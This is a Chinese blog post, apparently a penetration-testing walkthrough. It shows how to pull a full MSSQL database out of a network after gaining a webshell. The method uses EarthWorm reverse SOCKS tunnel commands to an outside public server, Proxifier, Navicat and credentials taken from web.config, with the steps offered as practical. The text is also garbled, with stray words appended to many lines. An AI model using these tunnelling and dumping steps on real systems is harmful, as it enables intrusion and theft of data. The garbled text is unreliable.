最近有些忙,在51cto上了一個《Web網站安全評估分析及防護》專欄,說實話,針對attack的狀況,如何來進行掃描,如何來進行防護,如何發現漏洞,是一件頗有意思的事情,作這個事情纔有意義和價值,penetest僅僅是爲了證實,經過技術手段,能夠驗證,可以拿到webshell,乃至服務器權限。在前端時間的一個penetest中,因爲Web服務器是站庫分離,經過webshell來導出數據比較困難(MSSQL數據庫),即便導出數據庫,數據庫在內網數據庫服務器上,沒法直接下載,經過研究和實戰,經過ew代理及Navicat for SQL Server工具,成功獲取目標數據庫中的數據,沒有太多技術含量,文章比較實用,可以解決實際問題。下面是詳細過程:前端
在penetest過程當中碰到一些狀況,僅僅獲取了webshell權限,沒法提權(阿里雲服務器),而數據庫服務器又不在本地,數據庫服務器在阿里雲上,僅僅受權webshell所在IP的計算機訪問,這時候就須要經過架設代理,經過代理鏈接數據庫服務器,並經過Navicat for SQL Server將數據庫從遠端取回,同時須要在本地進行還原。web
下載ew代理工具,下載地址:http://rootkiter.com/EarthWorm/ ,解壓後將對應版本的ew複製到相應文件夾,執行命令:ew -s rcsocks -l 1080 -e 8888,如圖1所示,其中8888爲獨立公網IP地址所開放的8888端口,1080爲代理端口。sql
圖1在獨立公網服務器上開啓443代理shell
將ew.exe複製到被控制服務器上,經過shell執行命令:ew -s rssocks -d 139.1..31 -e 8888,139.1..31爲獨立IP地址,鏈接8888端口。數據庫
安裝Proxifier程序,安裝完畢後,單擊「配置文件」-「代理服務器」-「添加」,在地址中填寫公網IP地址和對應的端口,如圖2所示,協議選擇socks版本5,完成後肯定設置。安全
圖2設置Proxifier代理IP地址服務器
在視圖中單擊「代理檢查器」,如圖3所示,單擊「開始測試」,若是代理服務器可以正常連通,則顯示綠色,不然顯示紅色表示代理通道未成功鏈接。ide
圖3測試代理通道創建函數
安裝Navicat for SQL Server,完成後,打開Navicat for SQL Server,在其中新建一個數據庫鏈接,如圖4所示,在主機名或IP地址中填寫對應的地址,通常選擇SQL Server驗證,在用戶名和密碼中輸入獲取的用戶名和密碼(數據庫用戶名和密碼通常在鏈接字符串中,例如web.config)。工具
圖4設置Navicat for SQL Server鏈接
在Navicat for SQL Server中雙擊database,如圖5所示,打開該數據庫服務器中的全部數據庫,選中一個數據庫打開之dbo。
圖5測試數據庫鏈接
選中數據庫名稱(例如datadb)-dbo,右鍵單擊選擇「數據傳輸」,在常規中會自動出現剛纔選中的數據庫,默認會選擇全部的表、視圖、過程和函數,在目標中選擇「文件」-選擇導出文件的位置和名稱,編碼選擇默認,如圖6所示。
圖6設置數據庫導出
在高級中須要去掉「建立前刪除目標對象」選項框,若是本地存在該數據庫,則不用去掉。如圖7所示,若是沒有去掉,則會在導入數據庫是出錯,由於須要drop表,數據庫自己不存在!其它選項能夠根據實際須要進行選擇。
圖7去掉刪除表操做
如圖8所示,正確設置數據庫導出屬性後,開始導出數據庫,顯示100%數據傳輸時表明該數據庫數據和表所有導出到本地sql文件。
圖8導出數據庫sql文件
將導出的SQL文件下載到本地,本地須要搭建SQL Server數據庫服務器,其導入過程比較簡單,下面介紹其操做流程,詳細過程就不贅述了。
1.在本地SQL Server數據庫中建立對應的數據庫名稱
2.設置相同的用戶,此處設置導出是數據對應的用戶名稱和密碼,跟導出的sql文件對應的用戶和權限,防止出現權限不一致導入數據失敗。
3.設置用戶的對應權限。在SQL Server中對用戶設置能夠訪問數據庫以及數據庫角色權限。
4.設置Navicat for SQL Server,用一樣的方法在本地創建數據庫鏈接。
5.鏈接數據庫服務器,打開須要導入的數據庫到dbo處,選擇運行SQL文件,選中導出的sql文件,開始導入數據庫。
6.數據庫導入成功後,刷新數據庫便可在本地使用。
以爲本文不錯的朋友,能夠移步本人在51cto專欄文章,訂閱專欄雙重好禮:500g安全類電子資源包&51CTO送書活動
(1)《Web網站安全評估分析及防護》
(2)《sqlmap從入門到精通》